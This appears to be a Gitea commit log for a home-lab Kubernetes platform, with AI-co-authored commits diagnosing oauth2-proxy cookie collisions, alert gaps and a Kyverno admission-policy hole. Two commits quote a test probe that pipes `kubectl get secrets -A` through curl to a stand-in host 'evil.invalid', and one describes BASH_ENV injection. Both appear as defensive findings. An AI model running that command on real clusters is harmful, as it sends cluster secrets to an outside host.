stats the device and joins whichever group owns it. Drift stays visible without
being an error.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
f4a155a807 |
docs(decisions): the collision is measured; that it CAUSES the failures is not
Counter-evidence was raised against this branch: over a 24h Loki window crafty -- the
app already carrying the cookie fix -- showed the WORST auth-rejection ratio of the set
(crafty 81:1, radarr 67:1, jackett 39:4). Taken at face value that says the fix does not
work. It does not say that, and it does not say the opposite either.
Re-measured bounded to the fixed pod, read from each sidecar's OWN log rather than Loki
(`kubectl logs` on a pod with 0 restarts cannot reach a pod older than itself, so a
window inside the pod's age is inside the fixed spec by construction):
namespace age(h) rst reject success ratio cleared badsig
crafty 13.9 0 3 0 n/a 0 0 <- FIXED, whole life
radarr 422.5 0 155 1 155.0:1 8 8
jackett 422.6 0 39 4 9.8:1 1 1
pihole/qbittorrent/sonarr/shared: 0 reject, 0 success
Three findings, kept apart:
1. `crafty 81:1` is a WINDOW ARTEFACT. The fixed pod has emitted 3 rejections in its
entire 13.9h life; the 81 came from a 24h window straddling it, i.e. from the pre-fix
pod. It is not evidence against the fix and must not be cited as such.
2. The fix is still NOT SHOWN TO WORK. Crafty logged ZERO AuthSuccess in that window --
no traffic, so no ratio. Absence of failure against absence of traffic proves nothing.
3. The collision mechanism IS independently confirmed, and it is a MINORITY of the
rejections. `cookie signature not valid` + `removing session` is its fingerprint -- a
cookie IS present, written with a key this instance does not have, so it cannot decrypt
it and then ClearSession expires it zone-wide. radarr 8 of 155 (5%), jackett 1 of 39,
fixed crafty 0. ~95% of radarr's rejections carry no cookie at all and point at the
session-lifetime and 302-on-XHR mechanisms this branch does not touch.
So the handoff now says, at the top and in both evidence sections, that "the instances
collide" and "the collisions cause the reported symptom" are different claims and only
the first is supported. The four fixes stand -- distinct cookie names are correct
regardless -- but nothing here should be read as a cure.
Also records three deliberate NON-fixes with their reasoning (--cookie-refresh, which all
four of my apps need as much as jackett does and which belongs in the renderer rather than
in a golden; --api-routes for 302-on-XHR, which is path-shaped and needs a schema change;
and sidecar metrics, which I judged overreach for a check whose subject is cookie
identity), and two gate facts:
* spec-immutability was skipping because of a PATH BUG IN THE WORKTREE SHIM, not the
environment -- dev.sh derives the spec path from its own REPO_ROOT, which in a worktree
does not resolve. Mounting the spec repo at /home-network-k3s with SPEC_REPO set makes
R-TEST-06 actually run and PASS. Local gate is now rc 3 for one reason (gitea-settings,
no token) instead of two.
* CI's gate reports FAILURE on
|
||
|
jakman85andClaude Opus 5
|
0a0adce4d8 |
docs(auth): bound crafty's post-fix ratio to its own pod; record the metrics gap
Coordinator raised crafty as counter-evidence: it carries the cookie fix and
showed the platform's worst ratio (81:1 over 24h from Loki), implying the fix
does not work. Bounded it exactly instead of in Loki -- crafty's pod started
2026-09-30T03:57:19Z with 0 restarts, so a 24h window is ~10h of the PRE-fix
process. Read off the pod's own log, whose boundary is the process start:
crafty 3 'No valid authentication', 0 AuthSuccess, in 13h52m <- not 81
one client IP, 2 of the 3 on /ws (WebSocket reconnects), two
isolated minutes (04:02, 15:22)
Post-fix crafty is idle, not broken. Correctly bounded it is evidence FOR the
fix. The ratio metric ranks CHATTINESS, not breakage: radarr's 156:1 is
/api/v3/command (62), /api/v3/queue/details (46), /signalr/negotiate (43) --
UI polling. Added that trap to the runbook, because ranking apps this way is
how a deployed fix gets written off.
That polling also sharpens the jackett mechanism: every poll arriving with a
cookie radarr cannot decrypt calls ClearSession again, so a left-open radarr
tab deletes jackett's cookie every few seconds. Explains the intermittency.
Re-weighted the diagnosis as asked: mechanisms 2 and 3 (5-minute session with
no --cookie-refresh; 302-instead-of-401 on XHR) are demonstrated from
jackett's own log and between them fully explain the report. Mechanism 1
(collision) is firing and jackett genuinely violates it, but causation is one
3-second adjacency, not a population -- necessary and firing, not proven
sufficient. Stated that way in the entry.
Metrics: confirmed no per-app sidecar exposes any (--metrics-address ABSENT,
ports ['http'] on all six); only the shared proxy has the flag and a metrics
port. Worth adding and DECLINED HERE for the structural reason only -- the
container's args AND ports both come from _oauth2_sidecar_container(), so it
hits the identical five-file blast radius. It belongs in the same single
renderer commit. Recorded, not silently skipped.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
6a6fea8151 |
docs(auth): root-cause jackett's session loss; add the oauth2-proxy-session runbook
Reported as "GET works, PUT/POST to add indexers fail, reloading never helps,
and I am never re-prompted". Diagnosis lands here; the MANIFEST FIX DOES NOT,
deliberately -- see the blocker below.
ROOT CAUSE, measured from two pods' logs interleaved to the second:
15:31:06 jackett [AuthSuccess]
15:31:29 radarr "cookie signature not valid, removing session"
15:31:32 jackett "No valid authentication in request" <- 3s later
Six oauth2-proxy instances (seven pods) emit the DEFAULT cookie name
`_oauth2_proxy` on `.home.keithjackson.dev` holding seven DIFFERENT
cookie-secrets (compared in-cluster by sha256; all distinct). `removing
session` is ClearSession, which expires the cookie on radarr's own zone-wide
--cookie-domain, so jackett's session is DELETED by a process in another
namespace, 26s after a clean login whose `expires` was 5 minutes out. 8 such
lines in radarr's log, 1 in jackett's, 0 elsewhere. It was never expiry and it
was never Jackett -- and it is why reloading does not help: the operator's
Radarr tab re-clears the cookie seconds after each new login.
Two contributing mechanisms, also measured:
* session lifetime == Keycloak access-token lifetime, 300.000s exactly, with
refresh_token:true on the same line and --cookie-refresh unset (default 0).
* XHRs answered 302 not 401: oauth2-proxy's AJAX guard needs an exact
`Accept: application/json`, which Jackett's jQuery does not send. On /api/
paths: 33 x 302 vs 2 x 401. A browser following a 302 re-issues a POST as a
GET and DROPS THE BODY -- 4 of 6 POSTs never reached Jackett at all.
WHY NO MANIFEST FIX HERE. apps/wave-0/jackett.yaml is a GENERATED GOLDEN. The
sidecar args come from one shared function, _oauth2_sidecar_container() in
catalog/render.py; catalog/jackett.yaml declares only auth.mode/auth.groups and
the auth schema is additionalProperties:false, so there is NO per-app override
hook. Hand-editing the rendered file is rejected by the gate exactly as
designed ("GOLDEN DRIFT ... render-golden: FAIL"). Changing the renderer
instead rewrites all five rendered apps -- measured:
CHANGED: apps/wave-0/{jackett,pihole,qbittorrent}.yaml
CHANGED: apps/wave-1/{radarr,sonarr}.yaml
and render-golden requires all five be regenerated in the same commit. Four of
them are owned by fix/oauth2-proxy-cookie-collision-fleet right now. The cookie
fix is ONE change, not five; it needs re-cutting as a single renderer commit
rather than two branches rewriting the same generated block.
Validated the intended argument list against the pinned image and the real
issuer before stopping: it printed back `name:_oauth2_proxy_jackett ...
domains:jackett.home.keithjackson.dev ... refresh:after 2m30s` and
`API route - Path: ^/api/`. Two corrections fell out of that: --api-route is
SINGULAR (--api-routes does not exist and the proxy refuses to start), and
--session-cookie-minimal is mutually exclusive with --cookie-refresh
("cookie_refresh > 0 requires oauth tokens in sessions"), so dropping
--pass-access-token does NOT shrink the cookie -- it is a least-privilege
change, not a size one.
Adds runbooks/oauth2-proxy-session.md: the four sidecar log lines that tell the
auth layers apart (including the upstream `-` that means the proxy answered a
request the app never saw), the cross-log collision diagnosis, and the
generated-golden warning with its blast radius. Registered in the
configMapGenerator AND runbooks/README.md so the URL resolves.
Jackett is NOT fixed by this commit and will keep losing its session to Radarr
until the renderer change ships.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
75a4029d64 |
docs(decisions): record the measured gate rc, stage list and touched subset
The handoff asserted a gate outcome before the gate had been run against a
committed branch. Replaces it with what was actually measured on
|
||
|
jakman85andClaude Opus 5
|
fc7ec01628 |
feat(obs): make oauth2-proxy auth failures visible — alert on the gap, not on absent metrics
Jackett failed on 2026-09-30 in the most expensive way available: HTTP 200 and a
plausible page. oauth2-proxy answers an unauthenticated XHR with a 302 to Keycloak
rather than a 401; the browser follows it silently against a live SSO session and
the call resolves 200 carrying a 44 KB HTML dashboard where the app's JavaScript
wanted JSON. The user is never re-prompted, reloading never helps, and every uptime
check stays green. `jackett-down` watches replicas_available, which was 1 throughout.
The reason nothing alerted turns out not to be a missing rule. Measured on prod:
count by (__name__) ({__name__=~"oauth2_proxy.*"})
oauth2_proxy_requests_in_flight => 2
Two series, both from the SHARED forward-auth Deployment. The six per-app gate
sidecars (crafty, jackett, pihole, qbittorrent, radarr, sonarr) publish nothing at
all: no --metrics-address, so the metrics listener never starts; no `metrics`
container port; no ServiceMonitor or PodMonitor selects them. The alert the incident
calls for — sustained auth redirects to an authenticated user — is therefore NOT
WRITABLE, and writing it anyway would have shipped a rule that is present,
evaluating, permanently silent and indistinguishable from health.
So alert on the condition that made the incident invisible, from families that ARE
scraped:
OAuth2ProxyGateUnobserved
count by (namespace) (kube_pod_container_info{container="oauth2-proxy"})
unless
count by (namespace) (up{container="oauth2-proxy"})
kube_pod_container_info is kube-state-metrics (a declared scrape owner) and sees the
container whether or not it exports anything; `up` is UNIVERSAL and carries a
`container` label for any target, so the rule needs no advance knowledge of what job
name a future per-app scrape picks. Nothing in it touches oauth2_proxy_*, so it
cannot be inert for the reason it is reporting. Run verbatim against live prod it
returns six namespaces and correctly excludes oauth2-proxy. It clears per namespace
as each gate gains a real scrape.
Also:
- promtool companion test pinning all four states: fires unscraped, quiet when
scraped, honours for:1h, and STOPS once a scrape appears under a different job name.
- runbooks/oauth2-proxy-auth-failures.md — tell the gate's refusal from the group
check from the app's own login from an XHR that silently got HTML, with the
2026-09-30 jackett trace as the worked example and the Loki queries to use while
there are no metrics. Registered in the configMapGenerator and README.
- runbooks/README.md gains an inert-alerts row for the unscraped sidecars.
Rejected: an alert on the shared proxy's oauth2_proxy_requests_total ratio. It needs
a conformance/ SCRAPE_OWNERS entry (human approval) and, decisively, would not have
fired on this incident — the shared instance is not in any sidecar-gated app's data
path and its current pods have proxied nothing. It would have looked like coverage
and been none.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
9a4489b733 |
fix(auth): five oauth2-proxy sidecars shared one cookie and evicted each other
Every oauth2-proxy on this platform is an independent instance with its OWN
cookie-secret. Measured on prod 2026-09-30: seven `*-oauth2-proxy` Secrets, seven
DISTINCT cookie-secret values (compared in-cluster, never printed). So no instance
can DECRYPT another's cookie -- it can only OVERWRITE it.
All of them were emitting oauth2-proxy's DEFAULT names (`_oauth2_proxy`,
`_oauth2_proxy_csrf`) scoped to `.${BASE_DOMAIN}`, so the browser kept ONE cookie
pair for SIX live instances (jackett, pihole, qbittorrent, radarr, sonarr, and the
shared forward-auth proxy). Whichever authenticated last clobbered the rest; the
loser logged `No valid authentication in request`, bounced to Keycloak, and -- the
SSO session still being live -- was redirected straight back and clobbered it again.
The symptom is "I signed into Keycloak but I'm still not signed in", which sends you
hunting in Keycloak, where nothing is wrong. Crafty was fixed on its own side on
2026-09-29 (#22); this is that fix generalized to the pattern.
THE DEFECT WAS NOT IN THE MANIFESTS. apps/wave-*/{jackett,pihole,qbittorrent,radarr,
sonarr}.yaml are GENERATED goldens; one function emits all five. So the fix is in
catalog/render.py::_oauth2_sidecar_container(), and both flags are now DERIVED from
the ServiceDefinition rather than defaulted:
--cookie-name=_oauth2_proxy_{s['name']} unique by construction
--cookie-domain={host} the app's own host, not the zone
A per-service table was rejected for the reason twelve ServiceMonitors once acquired
one identical wrong port name in a single edit: it would leave the NEXT app onboarded
defaulting straight back into the collision. --whitelist-domain stays zone-wide; it
governs post-login REDIRECT targets, not cookie scope.
Host-scoping is defence in depth and is asserted deliberately: a zone-wide cookie is
transmitted by the browser to every host in the zone, so each app's session token was
being sent to every sibling -- and it is what would make a FUTURE name collision
platform-wide instead of contained.
New gate check (whole-repo scope, so it runs on EVERY gate invocation, not only when
a touched path happens to attribute an identity requirement):
conformance/tests/l0-static/oauth2-proxy-cookie-names-distinct/
It resolves each instance's EFFECTIVE cookie name -- declared, or oauth2-proxy's
built-in default when omitted, because an omitted flag is not an absence but a CLAIM
on a name, and reading it as an absence is exactly why this survived five reviews.
Then: no two collide; none is another's name + `_csrf` (oauth2-proxy derives the CSRF
cookie that way); the default has exactly ONE owner, registered with its reason in a
shrink-only register -- the SHARED proxy, which MUST keep `_oauth2_proxy` because
renaming it signs every other gated surface out at once; every other instance is
host-scoped; render.py derives rather than lists; and the SHIPPED renderer is proven
end-to-end on two synthetic ServiceDefinitions, so the check stays falsifiable once
the tree is clean.
Tested in both directions: rc 0 on this tree (39 assertions, 7 instances), rc 1 with
26 failures against the pre-fix tree, plus one targeted mutation per assertion class
(duplicate name, CSRF derivation, zone-wide domain, unregistered default heir, stale
register entry) -- each fired, and nothing else did.
Also regenerates the three L1 rendering goldens, which are expected-output fixtures
of the same renderer.
UNVERIFIED: no browser round-trip. The collision has still never been REPRODUCED in a
browser -- doing so needs two gated apps visited in one session -- so this is reasoned
from measured configuration and from the mechanism, not from a failure anyone watched.
Nothing was applied; merging rolls five Deployments and invalidates every existing
session on them once. See decisions/2026-09-30-oauth2-proxy-cookie-collision-fleet.md.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85
|
0fbf544d5e |
Merge pull request 'fix(obs): the deploy notification was inhibited before it could send' (#26) from fix/flux-deploy-notification-inhibited into main
Reviewed-on: #26 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85andClaude Opus 5
|
8427b28b0e |
fix(obs): the deploy notification was inhibited before it could send
FluxRolloutInProgress fired correctly on the first real deploy and its mail
was suppressed before Alertmanager dispatched it. One label was wrong.
kube-prometheus-stack ships general.rules -> InfoInhibitor:
group by (namespace) (ALERTS{severity="info"} == 1)
unless on (namespace) group by (namespace)
(ALERTS{alertname!="InfoInhibitor", alertstate="firing",
severity=~"warning|critical"} == 1)
which fires for any namespace holding a firing info alert AND NOTHING ELSE
wrong in it, and the chart's third inhibit_rule (source alertname=InfoInhibitor
-> target severity="info", equal [namespace]) then drops exactly that alert.
For a deploy notification that is the worst possible interaction, because the
suppressed case is the ONLY case that matters: on a healthy rollout of a healthy
cluster flux-system holds no warning or critical alert, so the notification is
inhibited precisely when it is wanted, and would arrive only when something else
in flux-system was already broken. Measured on prod: InfoInhibitor went active
2026-09-30T04:58:48Z, the same moment the alert began firing for 12
Kustomizations, and amtool showed no FluxRolloutInProgress in Alertmanager
either active or --inhibited, with zero send failures.
Upstream's intent is explicit and fair: severity "info" means "only worth
showing next to a real problem". A deploy notice is not that, so it must not
claim that severity. FluxRolloutInProgress now carries `notification: deploy`
and no severity at all, and the route matches on that label — no inhibit_rule
in the chart targets anything but severity values, and omitting severity also
stops InfoInhibitor firing for flux-system rather than merely working around it.
FluxRolloutStuck keeps severity: warning and is unaffected.
Also verified on prod in the process, all previously UNVERIFIED: the 33 metric
series exist exactly as designed, the `revision` label IS populated (so the
lastAppliedRevision/artifact.revision paths are right), the podAnnotations roll
forced a new KSM pod, and the rule both fired for 12 lagging Kustomizations and
then CLEARED on convergence — the completion signal's whole mechanism, on real
data. Routing proven by `amtool config routes test notification=deploy` ->
email-deploy.
Still unverified: no mail observed in the inbox. The 226->227 email counter
increment during the window cannot be attributed (no receiver label, other
alerts active), and I am not claiming it either way. See the handoff entry.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85
|
64c72fd394 |
Merge pull request 'feat(obs): notify on Flux deploy start and completion' (#25) from feat/flux-deploy-notifications into main
Reviewed-on: #25 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85
|
1ea73544c9 | Merge branch 'main' into feat/flux-deploy-notifications | ||
|
jakman85
|
296d6d3275 |
Merge pull request 'feat(ci): the pipeline is the approver' (#17) from feat/ci-is-the-approver into main
Reviewed-on: #17 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85andClaude Opus 5
|
55b232e2ce |
feat(obs): notify on Flux deploy start and completion
The operator got no mail when Flux began applying a git change and none when it finished. Measured cause: notification-controller v1.4.0 is running and its CRDs serve v1beta3, but there are ZERO Provider and ZERO Alert objects in the cluster — nothing in git ever created any. The obvious fix does not work. Neither Flux event can be filtered into a deploy signal: ReconciliationSucceeded is a heartbeat (101 events in one hour across 16 Kustomizations, message byte-identical whether the apply changed anything), and Progressing is worse (five Kustomizations re-apply the same object on every tick — event counts 2505/2504/2501/2495/2490). gotk_* carries no revision label at all (gotk_reconcile_condition 120 series, gotk_suspend_status 40, none with one). The applied revision is the only signal that moves when and only when git moves, and it lives in object status alone. So export it via the kube-state-metrics custom-resource-state path that already serves the Velero Schedule metrics — kube_flux_kustomization_info/_suspended and kube_flux_gitrepository_info — and ask the question in PromQL: FluxRolloutInProgress (severity: info, no `for:`) fires the moment a non-suspended Kustomization's applied revision is not the revision the GitRepository fetched from main, and CLEARS when all have caught up. Fired mail = a deploy started; RESOLVED mail = it completed. The completion half is send_resolved, not a second rule. FluxRolloutStuck (severity: warning, for: 30m) is the same expression as the escalation for a rollout that started and never converged. Two guards, each with a test whose only job is to fail if the clause is removed: `and on () (count(gitrepository_info) > 0)` — without it a missing exporter makes `unless on (revision) <empty>` remove nothing and all 16 Kustomizations alert forever, the permanently-firing mode this repo shipped once already — and the suspended-Kustomization exclusion, without which a suspended tier holds the rollout open and the "applied" mail never arrives. A dedicated Alertmanager severity=info route + email-deploy receiver keeps deploy notices off the [WARNING] catch-all. podAnnotations carries a roll-counter because the chart sets no checksum over the custom-resource-state ConfigMap, so a config-only edit would leave KSM on the old collector set with the new alerts silently inert. Verified: promtool SUCCESS on 6 scenarios (both guards, plus the convergence test that proves the alert empties itself); lint/l0/render-golden/l1/decisions-log/ spec-immutability green in the pinned toolbox. NOT verified: no mail has been sent — the metrics do not exist until this merges. Full gap list, and the deliberately-cut notification-controller half, in the handoff entry. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85
|
b93594b7c8 |
Merge pull request 'feat(conformance): the in-cluster Job can now run a named commit and get its results out' (#20) from feat/conformance-job-template into main
Reviewed-on: #20 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85andClaude Opus 5
|
0749562ad0 |
docs(decisions): record the rebase and the README merge decision
#18 has landed, so this branch's "PR #18 must merge first" caveat was stale -- corrected to say what is now true and, more importantly, what is still NOT: no image has been built or pushed, so the digest this branch pins resolves to nothing. Also records the one real conflict the rebase hit and how it was resolved. #18's README carried a blockquote saying the 4th admission rule pinning the init container's command "is not in this branch". It IS in this branch (trigger-initcontainers-must-be-the-committed-clone-step, plus the ephemeralContainers and env/envFrom rules beside it), so keeping #18's wording would have left main documenting an open hole that had just been closed. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
76b265cd62 |
docs(decisions): the PR #20 handoff moves out of DECISIONS-LOG.md into its own file
The ~400-line append this branch made to DECISIONS-LOG.md's tail is what made PR #20
unmergeable: every concurrent branch appends to the same last hunk, and on 2026-09-29
four of the five open PRs conflicted on that one file and nothing else. The prose is
unchanged in substance -- it moves to decisions/2026-09-29-conformance-job-template.md,
the one-file-per-handoff layout PR #24 introduces -- and DECISIONS-LOG.md is no longer
touched by this branch at all.
Carried over in full, including every caveat: the initContainers/ephemeralContainers/env
finding and its measurements, the fixture matrix (65 pass / 13 fail / 0 error / 0 skip),
the hardcoded-clone-URL reasoning, the args shapes that cannot run in-cluster, the
`approval-policy` check that does not exist, and all of the UNVERIFIED items -- nothing
has executed against a cluster, the runner image and Secret do not exist, PR #18 must
merge first, and whether the API server even accepts ephemeralContainers in a Job pod
template is still unestablished.
One claim was WEAKENED rather than restated, per ci/l0.sh's own lesson: `kyverno test`
exits 0 and prints "N tests passed" even when a policy FAILS TO LOAD (every row becomes
Skip / Invalid Policy), which was measured while authoring this very policy. The entry
now says explicitly that the admission proofs rest on `kyverno apply`'s `error: 0,
skip: 0` counts, not on any exit code, and that a green l0 line would not by itself have
established that these rules loaded.
Format is decisions/README.md's: frontmatter (date, branch, title) plus the three
sections ci/decisions-log.sh enforces. The branch is rebased onto main at
|
||
|
jakman85andClaude Opus 5
|
f6e8fb1fee |
fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.
MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:
* a `privileged: true` `docker.io/library/alpine:latest` initContainer running
`kubectl get secrets -A` -> pass: 3, fail: 0 ADMITTED
* the committed template with ONLY the init container's args swapped for
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
-> pass: 3, fail: 0 ADMITTED
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.
Four new rules:
* trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
non-root, no privilege escalation, not privileged.
* trigger-may-not-declare-ephemeral-containers.
* trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
sources it before running a non-interactive script, and the runner's command IS one.
* trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.
All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.
THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.
Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.
Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.
ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.
PROVEN, NOT ASSERTED (7 rules):
real rendered template -> pass: 7, fail: 0
coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1)
ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in
decisions/2026-09-29-conformance-job-template.md. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.
UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.
Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
6ef4def2b5 |
feat(conformance): the in-cluster Job can now run a named commit and get its results out
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:
* the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
`conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
`git` via an inline credential.helper that reads the environment, so the token is
never in argv and never on disk;
* `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
`readOnlyRootFilesystem: true` without a third volume and without subPath mounts
(a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
* `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
clone target and `git clone` refuses a non-empty target -- hence the new
`CONF_ARTIFACTS` override, honoured only when set.
The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.
Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===
`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.
Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.
FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and in
decisions/2026-09-29-conformance-job-template.md with the recommended 4th rule, not patched in beside the Job that must satisfy it.
UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.
Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85
|
cac5c9f2a3 |
Merge pull request 'feat(conformance): build the runner image the in-cluster L2/L3 Job could never have run' (#18) from feat/conformance-runner-image into main
Reviewed-on: #18 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85
|
762c3833fc |
Merge pull request 'feat(sec): provision the narrow conformance CI trigger credential -- and refuse to arm a fake green' (#19) from feat/conformance-trigger-kubeconfig into main
Reviewed-on: #19 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85
|
6dd0914df9 |
Merge pull request 'fix(crafty): the Keycloak gate works — Crafty's own login was the wall' (#22) from fix/crafty-oauth2-proxy-signin into main
Reviewed-on: #22 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85andClaude Opus 5
|
ad5de2dba9 |
docs(decisions): move PR #19's handoff out of the frozen DECISIONS-LOG.md
This branch originally appended ~99 lines to the tail of DECISIONS-LOG.md. That tail is the hunk every concurrent branch collides on: measured against the live Gitea on 2026-09-29, four of the five open PRs were mergeable:false and DECISIONS-LOG.md was the ONLY conflicting path in all four. PR #19 was one of them. Nothing was wrong with the change; the log's storage format serialised work that was otherwise parallel. So the handoff now lives in its own file, decisions/2026-09-29-conformance-trigger-kubeconfig.md, in the one-entry-per-file layout PR #24 introduces (frontmatter date/branch/title, plus "What changed" / "What I verified" / "What I did NOT verify"). Concurrent branches then touch disjoint paths and there is nothing to merge. The branch was rebuilt on today's main with the DECISIONS-LOG.md change dropped entirely; infra/gitea/README.md and infra/gitea/conformance-trigger-kubeconfig.sh are byte-identical to the original commits. The original commit that touched ONLY DECISIONS-LOG.md -- the measurement that PR #19's CI has no approval-policy check -- was dropped as a commit and its substance folded into the new entry verbatim in meaning, including every UNVERIFIED it recorded. No content was upgraded. The script is still UNEXECUTED: nothing minted, no Gitea object written, no kubectl mutation, and the Gitea variables API shape remains documentation rather than measurement. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
b105c764fc |
docs(decisions): handoff for the conformance-runner image, as its own file
